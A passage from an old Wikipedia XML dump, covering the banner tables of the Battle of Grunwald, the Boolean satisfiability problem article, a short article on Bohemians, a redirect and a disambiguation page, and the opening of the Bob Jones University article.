! Steward of the Crown and starost of [[Lwów]]&lt;br&gt;[[Gniewosz of Dalewice]]
| align=&quot;left&quot; | [[Image:Flaga Kosciesza.png|40px|Strzegomia]] [[Strzegomia]]
| [[Silesia]], [[Bohemia]] and [[Moravia]]
| Only foreign volunteers and mercenaries
|-
! Duke of Lithuania [[Zygmunt Korybutowicz]]
| align=&quot;left&quot; | [[Image:Pogon.png|40px|Pogoń]] [[Vytis]]
|
|
|-
|}

=== Lithuania ===
Due to different system of [[feudal]] overlordship, as well as lack of heraldic traditions, the units of [[Grand Duchy of Lithuania]] were all grouped under banners of two types: the [[Vytis]] and the [[Columns of Gediminas]]. The only difference between various lands using the same emblem was the [[blazon]]. The hareness and the colour of the horse on the [[Pahonia]] differed. 

Note that the number of Lithuanian banners is uncertain. According to [[Ioannes Longinus]] there were 40 banners on the right flank of the Polish-Lithuanian forces, 10 flying the [[Columns of Gediminas]] and 30 flying the [[Vytis]]. However, he also mentions that there might have been 2 additional banners from [[Smolensk]] and up to six additional banners of [[Samogitia]]. German authors also mention that there were three auxiliary banners of [[Moldavia]] flying their own flags. In addition, it is probable that the units of [[Trakai]], [[Volhynia]], [[Smolensk]], [[Kiev]] and [[Nowogrodek]] used their own emblems.

{| border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;0&quot; style=&quot;font-size: 85%; border: gray solid 1px; border-collapse: collapse; text-align: center;&quot;
|- style=&quot;background: #ececec;&quot;
! Banner of
! Battle sign
! Origin
! Remarks
|-
! colspan=&quot;14&quot; style=&quot;background: #f9f9f9; text-align: left;&quot; | &amp;nbsp;&amp;nbsp;''Army of the [[Grand Duchy of Lithuania|Grand Duchy]]'' - Flying the Vytis Banners 
|-
! [[Vytautas the Great]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Vytis]]
| 
| 
|-
! [[Minsk]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Polatsk|Polock]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Hrodna]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Krewo]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Krichev]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Mahileu]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Niasvizh]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Novgorod]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Nowogrod Siewierski|Nowogrod Siewierski]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Orsha]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Slonim]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Slutsk]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Vitsebsk]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! [[Volodymyr-Volynsky|Vladzimir]]
| align=&quot;left&quot; | [[Image:Pogon White Ruthenia.png|30px|Pogon]] [[Pahonia]]
| 
| 
|-
! colspan=&quot;14&quot; style=&quot;background: #f9f9f9; text-align: left;&quot; | &amp;nbsp;&amp;nbsp;''Army of the [[Grand Duchy of Lithuania|Grand Duchy]]'' - Flying the Columns Banners
|-
! Zygmunt Korybut
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
| under Zygmunt Korybut
|-
! Simon, son of Lingwen
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
| under Simon, son of Lingwen
|-
! Jerzy
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Trakai]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Vilnius]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Hrodna]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Kaunas]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Lida]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Medininkai]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! Three (?) Banners of [[Smolensk]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Vitebsk]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Kyiv]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Pinsk]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Navahradak]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Brest, Belarus|Brest]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Wolkowysk|Wolkowysk]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Drohiczyn]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Mielnik]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Krzemieniec]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! [[Starodub]]
| align=&quot;left&quot; | [[Image:Slupy Giedymina.png|30px|Slupy]] [[Columns of Gediminas]]
|
|
|-
! colspan=&quot;14&quot; style=&quot;background: #f9f9f9; text-align: left;&quot; | &amp;nbsp;&amp;nbsp;''Auxiliary Units''
|-
! [[Lipka Tatars]]
| align=&quot;left&quot; | none
|
| approximately 1000 skirmishers under [[Calaletdin|Jalal ad-Din]]
|-
! Three Banners of [[Moldavia]] 
| align=&quot;left&quot; | 
|
| approximately 900 foot soldiers and 25 knights under [[Logofat]] Mihaiu Alexandrel 
|-
|}

==Related reading==
{{commons|Battle of Grunwald}}
=== Non-fiction ===
* [[Stefan Kuczynski|Stefan Kuczyński]], [[Szymon Kobylinski|Szymon Kobyliński]], ''Chorągwie grunwaldzkich zwycięzców'' (''The Banners of the Victors of Grunwald''); WAiF, [[Warsaw]], [[1989]]. ISBN 8322104677
* [[Jan Dlugosz|Ioannes Longinus]], ''Annales seu Cronicæ Incliti Regni Poloniæ''; PWN, [[Warsaw]], [[2000]]. ISBN 8301133015
* [[Jan Dlugosz|Ioannes Longinus]], ''Bitwa grunwaldzka''; [[Ossolineum]], [[Wrocław]], [[2003]]. ISBN 8304046326

=== Fiction ===
* [[Henryk Sienkiewicz]], ''Krzyżacy'' (''[[The Teutonic Knights (book)|The Teutonic Knights]]''); Tygodnik Ilustrowany, [[Kraków]], [[1900]]. ISBN 0781804337
* [[James A. Michener]], ''Poland''; Random House, [[1984]]. ISBN 0449205878

== External links ==
*[http://myweb.tiscali.co.uk/matthaywood/main/Battle_of_Tannenberg.htm Analysis of the battle]
* [http://www.kresy.co.uk/grunwald.html Battle of Grunwald 1410]
* [http://www.deremilitari.org/RESOURCES/SOURCES/dlugosz.htm Account of the battle by Jan Dlugosz, secretary to the Bishop of Cracow, written sixty years after battle]
* [http://www.powiat-ostrodzki.pl/powiat.php?n=grunwald Grunwald Commune (with pictures of the Grunwald Battle 1999 and 2000)]
* [http://www.pilot.pl/index.php3?z_city_id=505&amp;lang=pl Grunwald village on the map of Poland]
* [http://wiem.onet.pl/wiem/00f0ec.html Ignacy Paderewski speech at the Grunwald monument inauguration in Cracow 1910 (500 aniversary)]
* [http://www.malarstwohistoryczne.px.pl/matejko/grunwald.htm Battle of Grunwald, a painting by Jan Matejko]
* [http://www.gospelcom.net/chi/DAILYF/2002/07/daily-07-15-2002.shtml Gospelcom Summary]

[[Category:1410]]
[[Category:Battles of Poland|Grunwald 1410]]
[[Category:Battles of Lithuania|Grunwald 1410]]
[[Category:Battles of the Teutonic Knights|Grunwald 1410]]
[[Category:Czech history]]
[[Category:History of Belarus]]
[[Category:History of Prussia]]

[[be:Грунвальдзкая бітва]]
[[da:Slaget ved Tannenberg (1410)]]
[[de:Schlacht bei Tannenberg (1410)]]
[[fr:Première bataille de Tannenberg]]
[[it:Battaglia di Grunwald]]
[[ja:タンネンベルクの戦い (1410年)]]
[[lt:Žalgirio_mūšis]]
[[nl:Slag bij Tannenberg (1410)]]
[[pl:Bitwa pod Grunwaldem]]
[[ru:Грюнвальдская битва]]
[[tt:Grünwald_suğışı]]
[[uk:Грюнвальдська битва]]</text>
    </revision>
  </page>
  <page>
    <title>Blacks Law Dictionary</title>
    <id>4709</id>
    <revision>
      <id>15902969</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*#REDIRECT [[Black's Law Dictionary]]</comment>
      <text xml:space="preserve">#REDIRECT [[Black's Law Dictionary]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Tannenberg</title>
    <id>4714</id>
    <revision>
      <id>36361162</id>
      <timestamp>2006-01-23T14:38:44Z</timestamp>
      <contributor>
        <username>OpenToppedBus</username>
        <id>252600</id>
      </contributor>
      <comment>Well, I can count!</comment>
      <text xml:space="preserve">There were two battles, over 500 years apart, that bear the name '''Battle of Tannenberg''':

*[[Battle of Grunwald|Battle of Tannenberg (1410)]]
*[[Battle of Tannenberg (1914)]]

{{disambig}}

[[de:Schlacht bei Tannenberg]]
[[nl:Slag bij Tannenberg]]</text>
    </revision>
  </page>
  <page>
    <title>Boolean satisfiability problem</title>
    <id>4715</id>
    <revision>
      <id>40850895</id>
      <timestamp>2006-02-23T12:14:30Z</timestamp>
      <contributor>
        <ip>147.122.5.51</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">The '''Boolean satisfiability problem (SAT)''' is a [[decision problem]] considered in [[computational complexity theory|complexity theory]].  An instance of the problem is a Boolean expression written using only AND, OR, NOT, variables, and parentheses.  The question is: given the expression, is there some assignment of ''TRUE'' and ''FALSE'' values to the variables that will make the entire expression true?

In [[mathematics]], a formula of [[propositional calculus|propositional logic]] is said to be '''satisfiable''' if [[truth-value]]s can be assigned to its [[variable]]s in a way that makes the formula true. The class of satisfiable propositional formulas is [[NP-complete]]. The propositional satisfiability problem (SAT), which decides whether a given propositional formula is satisfiable, is of central importance in various areas of [[computer science]], including [[theoretical computer science]], [[algorithmics]], [[artificial intelligence]], [[hardware design]] and [[hardware verification|verification]].

The problem can be significantly restricted while still remaining NP-complete. By applying [[De Morgan's laws]], we can assume that NOT operators are only applied directly to variables, not expressions; we refer to either a variable or its negation as a ''literal''. For example, both ''x''&lt;sub&gt;1&lt;/sub&gt; and not(''x''&lt;sub&gt;2&lt;/sub&gt;) are literals, the first a ''positive'' literal and the second a ''negative'' literal. If we OR together a group of literals, we get a ''clause'', such as (''x''&lt;sub&gt;1&lt;/sub&gt; ''or'' not(''x''&lt;sub&gt;2&lt;/sub&gt;)). Finally, let us consider formulas that are a conjunction (AND) of clauses. We call this form [[conjunctive normal form]]. Determining whether a formula in this form is satisfiable is still NP-complete, even if each clause is limited to at most three literals. This last problem is called 3CNFSAT, 3SAT, or 3-satisfiability.

On the other hand, if we restrict each clause to at most two literals, the resulting problem, 2SAT, is in [[P_(complexity)|P]]. The same holds if every clause is a [[Horn clause]]; that is, it contains at most one positive literal.

A highly technical [[proof that Boolean satisfiability problem is NP-complete]] is available.

== Complexity ==
SAT is [[NP-complete]].  In fact, it was the first known '''NP'''-complete problem, as proved by [[Stephen Cook]] in 1971 (see [[Cook's theorem]] for the proof).  Until that time, it was not known that NP-complete problems even existed. The problem remains '''NP'''-complete even if all expressions are written in ''[[conjunctive normal form]]'' with 3 variables per clause (3-CNF), yielding the '''3SAT''' problem.  This means the expression has the form: 
:(''x''&lt;sub&gt;11&lt;/sub&gt; OR ''x''&lt;sub&gt;12&lt;/sub&gt; OR ''x''&lt;sub&gt;13&lt;/sub&gt;) AND
:(''x''&lt;sub&gt;21&lt;/sub&gt; OR ''x''&lt;sub&gt;22&lt;/sub&gt; OR ''x''&lt;sub&gt;23&lt;/sub&gt;) AND
:(''x''&lt;sub&gt;31&lt;/sub&gt; OR ''x''&lt;sub&gt;32&lt;/sub&gt; OR ''x''&lt;sub&gt;33&lt;/sub&gt;) AND ...
where each ''x'' is a variable or a negation of a variable, and each variable can appear multiple times in the expression.

A useful property of Cook's reduction is that it preserves the number of accepting answers. For example, if a graph has 17 valid 3-colorings, the SAT formula produced by the reduction will have 17 satisfying assignments.

== Restrictions of SAT ==
SAT is easier if the formulas are restricted to those in [[disjunctive normal form]], that is, they are disjunction (OR) of terms, where each term is a conjunction (AND) of literals (possibly negated variables). Such a formula is indeed satisfiable if and only if some of its terms are satisfiable, and a term is satisfiable iff it does not contain both ''x'' and NOT ''x'' for some variable ''x''. This can be checked in polynomial time.

SAT is also easier if the number of literals in a clause is limited to 2, in which case the problem is called 2SAT. This problem can also be solved in polynomial time, and in fact is complete for the class [[NL (complexity)|NL]]. Similarly, if we limit the number of literals per clause to 2 and change the AND operations to [[XOR]] operations, the result is ''exclusive-or 2-satisfiability'', a problem complete for [[SL (complexity)|SL]] = [[L (complexity)|L]].

One of the most important restrictions of SAT is HORNSAT, where the formula is a conjunction of [[Horn clause]]s. This problem is solved by the polynomial-time [[Horn-satisfiability]] algorithm, and is in fact [[P-complete]]. It can be seen as [[P (complexity)|P]]'s version of the boolean satisfiability problem.

Provided that the [[complexity classes P and NP]] are not equal, none of these restrictions are NP-complete, unlike SAT. The assumption that P and NP are not equal is not currently proved.

=== 3-satisfiability ===
3-satisfiability is a special case of ''k''-satisfiability (''k''-SAT) or simply satisfiability (SAT), when each clause contains at most ''k'' = 3 literals. It was one of [[Karp's 21 NP-complete problems]].

Here is an example, where ~ indicates NOT:
: E = (''x''&lt;sub&gt;1&lt;/sub&gt; or ~''x''&lt;sub&gt;2&lt;/sub&gt; or ~''x''&lt;sub&gt;3&lt;/sub&gt;) and (''x''&lt;sub&gt;1&lt;/sub&gt; or ''x''&lt;sub&gt;2&lt;/sub&gt; or ''x''&lt;sub&gt;4&lt;/sub&gt;)
E has two clauses (denoted by parentheses), four literals (''x''&lt;sub&gt;1&lt;/sub&gt;, ''x''&lt;sub&gt;2&lt;/sub&gt;, ''x''&lt;sub&gt;3&lt;/sub&gt;, ''x''&lt;sub&gt;4&lt;/sub&gt;), and ''k''=3 (three literals per clause).

To solve this instance of the decision problem we must determine whether there is a truth value (TRUE or FALSE) we can assign to each of the literals (''x''&lt;sub&gt;1&lt;/sub&gt; through ''x''&lt;sub&gt;4&lt;/sub&gt;) such that the entire expression is TRUE.  In this instance, there is such an assignment (''x''&lt;sub&gt;1&lt;/sub&gt; = TRUE, ''x''&lt;sub&gt;2&lt;/sub&gt; = TRUE, ''x''&lt;sub&gt;3&lt;/sub&gt;=TRUE, ''x''&lt;sub&gt;4&lt;/sub&gt;=TRUE), so the answer to this instance is YES.  This is one of many possible assignments, with for instance, any set of assignments including ''x''&lt;sub&gt;1&lt;/sub&gt; = TRUE being sufficient.  If there were no such assignment(s), the answer would be NO.

Since k-SAT (the general case) reduces to 3-SAT, and 3-SAT [http://cs482.elliottback.com/archives/2005/03/16/lecture-23-3-sat/ can be proven] to be [[NP-complete]], it can be used to prove that other problems are also NP-complete. This is done by showing how a solution to another problem could be used to solve 3-SAT. An example of a problem where this method has been used is &quot;[[Clique problem|Clique]]&quot;. It's often easier to use reductions from 3-SAT than SAT to problems which researchers are attempting to prove NP-complete.

== Extensions of SAT ==
The satisfiability problem seems to become more difficult if we allow ''[[quantifier]]s'' such as &quot;for all&quot; and &quot;there exists&quot; that bind the boolean variables. An example of such an expression would be:
: &lt;math&gt;\forall x, \exists y,\exists z; (x \lor y \lor z) \land (\lnot x \lor \lnot y \lor \lnot z)&lt;/math&gt;
If we use only &lt;math&gt;\exists&lt;/math&gt; quantifiers, this is still the SAT problem. If we allow only &lt;math&gt;\forall&lt;/math&gt; quantifiers, it becomes the [[Co-NP-complete]] [[TAUTOLOGY problem]]. If we allow both, the problem is called the [[quantified boolean formula problem]] (QBF), which can be shown to be [[PSPACE-complete]]. It is widely believed that PSPACE-complete problems are strictly harder than any problem in NP, although this has not yet been proved.

A number of variants deal with the number of variable assignments making the formula true. Ordinary SAT asks if there is at least one such assignment. MAJSAT, which asks if the majority of all assignments make the formula true, is complete for [[PP (complexity)|PP]], a probabilistic class. The problem of how many variable assignments satisfy a formula, not a decision problem, is in [[Sharp-P|#P]]. UNIQUE-SAT or USAT is the problem of determining whether a formula known to have either zero or one satisfying assignments has zero or has one. Although this problem seems easier, it has been shown that if there is a practical ([[BPP|randomized polynomial-time]]) algorithm to solve this problem, then all problems in [[NP (complexity class)|NP]] can be solved just as easily.

The [[maximum satisfiability problem]], an [[FNP (complexity)|FNP]] generalization of SAT, asks for the maximum number of clauses which can be satisfied by any assignment. It has efficient [[approximation algorithm]]s, but is NP-hard to solve exactly. Worse still, it is [[APX]]-complete, meaning there is no [[polynomial-time approximation scheme]] (PTAS) for this problem unless P=NP.

== Algorithms for solving SAT ==
There are two classes of high-performance [[algorithms]] for solving instances of SAT in practice: modern variants of the [[DPLL algorithm]], such as [[Chaff algorithm|Chaff]], and [[stochastic local search algorithm]]s,
such as [[WalkSAT]]. [[Genetic algorithm]]s are increasingly being used to solve SAT problems, especially when there is no or limited knowledge of the problem domain. Large random instances of SAT can be solved by [[Survey Propagation]] (SP). Particularly in [[hardware design]] and [[hardware verification|verification]] applications, satisfiability and other logical properties of a given propositional formula are often decided based on a representation of the formula as a [[binary decision diagram]] (BDD).

Propositional satisfiability has various generalisations, including satisfiability for [[quantified boolean formula problem]], for [[first-order predicate calculus|first]]- and [[second-order logic]], [[constraint satisfaction problem]]s, [[0-1 integer programming]], and [[maximum satisfiability problem]].

Many other decision problems, such as [[graph colouring problem]]s, [[planning problem]]s, and [[scheduling problem]]s can be rather easily encoded into SAT.

== External links ==
* http://www.satlib.org
* http://www.satlive.org/index.jsp
* [http://www.nlsde.buaa.edu.cn/~kexu/benchmarks/benchmarks.htm Forced Satisfiable SAT Benchmarks]
* http://www.satisfiability.org
* [http://jsat.ewi.tudelft.nl Journal on Satisfiability, Boolean Modeling and Computation]
* [http://www.haifa.il.ibm.com/projects/verification/RB_Homepage/bmcbenchmarks.html IBM Formal Verification SAT Benchmarks]
* [http://www.ictp.trieste.it/~zecchina/SP/ Survey Propagation]

== References ==

* {{cite book|author = [[Michael R. Garey]] and [[David S. Johnson]] | year = 1979 | title = [[Computers and Intractability: A Guide to the Theory of NP-Completeness]] | publisher = W.H. Freeman | id = ISBN 0716710455}} A9.1: LO1&amp;ndash;LO7, pp.259&amp;ndash;260.

[[de:Erfüllbarkeitsproblem der Aussagenlogik]]
[[es:Problema de satisfacibilidad booleana]]
[[fr:Problème SAT]]
[[ja:充足可能性問題]]
[[th:ปัญหาความสอดคล้องแบบบูล]]

[[Category:NP-complete problems]]
[[Category:Mathematical logic]]</text>
    </revision>
  </page>
  <page>
    <title>Bohemian</title>
    <id>4716</id>
    <revision>
      <id>40350965</id>
      <timestamp>2006-02-20T00:12:05Z</timestamp>
      <contributor>
        <username>Icydid</username>
        <id>189770</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''For other uses see [[Bohemian (disambiguation)]]''

'''Bohemians''' are inhabitants of [[Bohemia]], [[Czech Republic]]. The term used to designate inhabitants of the former [[monarchy|kingdom]] of Bohemia, located in the west of the modern day [[Czech Republic]]. The name derived from the [[Latin]] term for the [[Celt]]ic tribe ([[Boii]]) inhabiting that area (Tacitus: Boiohaemum). The word &quot;Bohemians&quot; was never used by the local Czech population. In Czech, the region was since early Middle Ages called only &quot;Čechy&quot; - Bohemia or &quot;Království české&quot; - Kingdom of Bohemia, and its mainly Czech-speaking inhabitants &quot;Češi&quot;. 

In other European vernaculars and in Latin (Bohemi) the word &quot;Bohemian&quot; or its derivates was used to designate all inhabitants of Bohemia. If the Czech ethnic origin was to be stressed, combinations like &quot;Bohemian of Bohemian language&quot;, &quot;a real Bohemian&quot; etc. were used.

It was not until the 19th century when other European languages started to use the word &quot;Czechs&quot; (in English), &quot;Tschechen&quot; (in German) or tchéques (in French) in a deliberate (and successful) attempt to distinguish between ethnic Czechs and other inhabitants of Bohemia. Nowadays &quot;Bohemians&quot; is still used when there is need to distinguish between inhabitants of the western part of the Czech Republic (Bohemia) and the eastern part ([[Moravia]]).

It is not clear how the word acquired its secondary meaning (see [[Bohemianism]] or [[Bohemian (disambiguation)]]), but it is believed that it comes from the French idea that [[Roma people|Gypsies]] originated from Bohemia (while they were travelling from there). 

== See also ==
* [[History of the Czechs]] 

[[Category:Slavic ethnic groups]]

[[zh:波希米亞人]]</text>
    </revision>
  </page>
  <page>
    <title>Bob Jones University</title>
    <id>4717</id>
    <revision>
      <id>42108168</id>
      <timestamp>2006-03-03T21:54:12Z</timestamp>
      <contributor>
        <ip>69.29.121.29</ip>
      </contributor>
      <comment>/* Benefactors */</comment>
      <text xml:space="preserve">&lt;!-- THIS IS THE TABLE.  TO EDIT THE ARTICLE, SCROLL DOWN.  --&gt;
&lt;div style=&quot;float: right; margin: 0 0 1em 2em; width: 22em; text-align: right; font-size: 0.86em; font-family: lucida grande, sans-serif; line-height: normal;&quot;&gt;
&lt;!-- RIGHT-FLOATED SECTION --&gt;
&lt;div style=&quot;border: 1px solid #ccd2d9; background: #FFFFFF; text-align: left; padding: 0.5em 1em; text-align: center;&quot;&gt;
&lt;!-- SLATE GREY BOX --&gt;
&lt;font style=&quot;font: inherit; font-size: 100%; font-weight: bold; text-align: center; border: none; margin: 0; padding: 0; color: #6a6c76;&quot;&gt;Bob Jones University&lt;/font&gt;
&lt;p style=&quot;margin: 1em 0;&quot;&gt;
[[Image:Bju_logo.JPG||Bob Jones University Logo (Trademark of BJU)]]&lt;br&gt;
&lt;center&gt;
&lt;table style=&quot;background: transparent; text-align: left; table-layout: auto; border-collapse: collapse; padding: 0; font-size: 100%;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;

&lt;tr&gt;&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Motto&lt;/th&gt;&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;Petimus Credimus.&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Established&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;1927&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;School type&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[Private school|Private]]&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;President&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[Stephen Jones (BJU)| Stephen Jones]]&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Location&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[Greenville, South Carolina| Greenville]], [[South Carolina|SC]], [[United States|USA]]&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Enrollment&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;3,592+ undergraduate&lt;br&gt;600+ graduate&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;
&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Faculty/Staff&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;1,800&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;
&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Campus&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[Suburban]]&lt;br&gt; 225 [[acre]]s (911,000 [[square metre|m&amp;sup2;]])&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;
&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Sports teams&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;intramural&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;
&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Website&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[http://www.bju.edu/ www.bju.edu]&lt;/td&gt;&lt;/tr&gt;

&lt;/table&gt;
&lt;/center&gt;
&lt;/div&gt;&lt;!-- END OF SLATE GREY BOX --&gt;
&lt;/div&gt;&lt;!-- END OF RIGHT-FLOATED SECTION --&gt;
&lt;!-- END OF TABLE. ARTICLE STARTS HERE. --&gt;

'''Bob Jones University''' ('''BJU''') is a [[private university|private]], [[school accreditation|unaccredited]], non-denominational, [[Christianity|Christian]] [[Protestant]] [[Fundamentalist Christianity|Fundamentalist]], [[liberal arts]] [[university]] located in [[Greenville, South Carolina|Greenville]], [[South Carolina]].  Founded in 1927 by [[Bob Jones, Sr.]], an [[evangelist]] and revival-preacher, it is the largest private liberal arts university in South Carolina. The university is a candidate for accreditation with the [[Transnational Association of Christian Colleges and Schools]]. The University has a reputation as one of the most strongly conservative and religious schools in the [[United States|USA]]. 

The current president of the University is [[Stephen Jones (BJU)|Stephen Jones]], son of previous school president [[Bob Jones III]] and the first president of the University not named &quot;Bob Jones.&quot; The university enrolls approximately 5000 students representing every state and 43 foreign countries, and employs a staff of 1,800.  It offers degrees in 126 majors, plus additional schools from [[kindergarten]] through 12th grade.  

Its mission statement reads as follows:  ''Within the cultural and academic soil of liberal arts education, Bob Jones University exists to grow Christlike character that is Scripturally disciplined; others-serving; God-loving; Christ-proclaiming; and focused Above.''

The school is also known for its strong connection to the [[anti-Catholic]]ism movement in [[Northern Ireland]], and anti-Catholic movements in general.

[[Interracial dating]] was prohibited at the university starting in the 1950's, but the ban was lifted in 2000 after Dr. [[Bob Jones III]], following a national uproar prompted by the visit of presidential candidate [[George W. Bush]], announced its nullification on [[Larry King Live]]. 

==Creed==
Students at BJU recite the ''University Creed'' at chapel services four days a week and at the worship service on Sunday.

&lt;blockquote&gt;I believe in the inspiration of the [[Bible]] (both the [[Old Testament|Old]] and the [[New Testament|New Testaments]]); the [[Creationism|creation]] of man by the direct act of [[God]]; the incarnation and virgin birth of our Lord and Savior, [[Jesus]] Christ; His identification as the Son of God; His vicarious atonement for the [[sin|sins]] of mankind by the shedding of His blood on the cross; the [[resurrection]] of His body from the tomb; His power to save men from sin; the new birth through the regeneration by the [[Holy Spirit]]; and the gift of eternal life by the grace of God.&lt;/blockquote&gt;

==History==
